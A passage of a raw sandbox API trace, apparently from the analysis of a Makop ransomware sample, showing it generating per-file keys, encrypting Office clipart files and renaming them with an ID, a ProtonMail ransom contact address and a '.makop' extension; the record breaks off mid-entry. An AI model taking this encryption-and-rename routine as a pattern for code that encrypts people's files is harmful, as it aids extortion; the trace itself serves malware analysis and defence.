[0130.010] GetProcessHeap () returned 0x48a0000 [0130.010] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0130.010] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0130.010] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.010] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0130.010] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0130.010] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0130.011] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0130.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0130.011] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0130.011] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.011] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.012] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7a46, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7a46, lpOverlapped=0x0) returned 1 [0130.013] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7a50, dwBufLen=0x7a50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7a50) returned 1 [0130.014] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.014] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7a50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7a50, lpOverlapped=0x0) returned 1 [0130.014] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.014] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.014] SetEndOfFile (hFile=0xf0) returned 1 [0130.021] GetProcessHeap () returned 0x48a0000 [0130.021] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0130.021] GetProcessHeap () returned 0x48a0000 [0130.021] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0130.022] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0130.022] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0130.025] CloseHandle (hObject=0xf0) returned 1 [0130.025] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9f04700, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9f04700, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x4c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200279.WMF", cAlternateFileName="")) returned 1 [0130.025] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF") returned 63 [0130.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0130.026] GetProcessHeap () returned 0x48a0000 [0130.026] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0130.026] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0130.026] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0130.027] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0130.037] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.037] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.037] GetProcessHeap () returned 0x48a0000 [0130.037] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0130.037] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0130.037] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.037] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0130.038] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0130.038] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0130.038] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0130.038] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0130.039] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0130.039] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.039] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.039] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.040] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4c0a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4c0a, lpOverlapped=0x0) returned 1 [0130.041] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4c10, dwBufLen=0x4c10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4c10) returned 1 [0130.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.042] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4c10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4c10, lpOverlapped=0x0) returned 1 [0130.042] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4ce4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.042] SetEndOfFile (hFile=0xf0) returned 1 [0130.050] GetProcessHeap () returned 0x48a0000 [0130.050] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0130.050] GetProcessHeap () returned 0x48a0000 [0130.050] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0130.050] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0130.050] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0130.052] CloseHandle (hObject=0xf0) returned 1 [0130.052] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb379af00, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb379af00, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200289.WMF", cAlternateFileName="")) returned 1 [0130.052] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF") returned 63 [0130.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0130.053] GetProcessHeap () returned 0x48a0000 [0130.053] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0130.053] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0130.053] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0130.053] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.054] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.054] GetProcessHeap () returned 0x48a0000 [0130.054] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0130.054] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0130.054] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.054] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0130.058] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0130.058] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0130.058] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0130.059] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0130.059] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0130.059] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.059] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.059] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.059] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa0b0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa0b0, lpOverlapped=0x0) returned 1 [0130.061] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa0b0, dwBufLen=0xa0b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa0b0) returned 1 [0130.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.062] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa0b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa0b0, lpOverlapped=0x0) returned 1 [0130.062] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa184, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.063] SetEndOfFile (hFile=0xf0) returned 1 [0130.074] GetProcessHeap () returned 0x48a0000 [0130.074] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0130.074] GetProcessHeap () returned 0x48a0000 [0130.074] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0130.074] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0130.074] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0130.076] CloseHandle (hObject=0xf0) returned 1 [0130.076] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec38100, ftCreationTime.dwHighDateTime=0x1be3e99, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec38100, ftLastWriteTime.dwHighDateTime=0x1be3e99, nFileSizeHigh=0x0, nFileSizeLow=0x4f08, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200377.WMF", cAlternateFileName="")) returned 1 [0130.076] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF") returned 63 [0130.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0130.077] GetProcessHeap () returned 0x48a0000 [0130.077] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0130.077] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0130.077] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0130.077] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0130.090] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.091] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.091] GetProcessHeap () returned 0x48a0000 [0130.091] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0130.091] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0130.091] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.091] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0130.091] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0130.091] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0130.091] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0130.092] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0130.092] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0130.092] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0130.092] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0130.092] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.092] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4f08, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4f08, lpOverlapped=0x0) returned 1 [0130.094] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4f10, dwBufLen=0x4f10 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4f10) returned 1 [0130.094] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.094] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4f10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4f10, lpOverlapped=0x0) returned 1 [0130.095] CryptDestroyKey (hKey=0x48c7128) returned 1 [0130.095] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4fe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.095] SetEndOfFile (hFile=0xf0) returned 1 [0130.102] GetProcessHeap () returned 0x48a0000 [0130.102] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0130.102] GetProcessHeap () returned 0x48a0000 [0130.102] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0130.103] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0130.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200377.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200377.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0130.104] CloseHandle (hObject=0xf0) returned 1 [0130.104] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5398, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200383.WMF", cAlternateFileName="")) returned 1 [0130.104] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF") returned 63 [0130.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200383.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200383.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0130.107] GetProcessHeap () returned 0x48a0000 [0130.107] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0130.107] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0130.107] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0130.107] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, 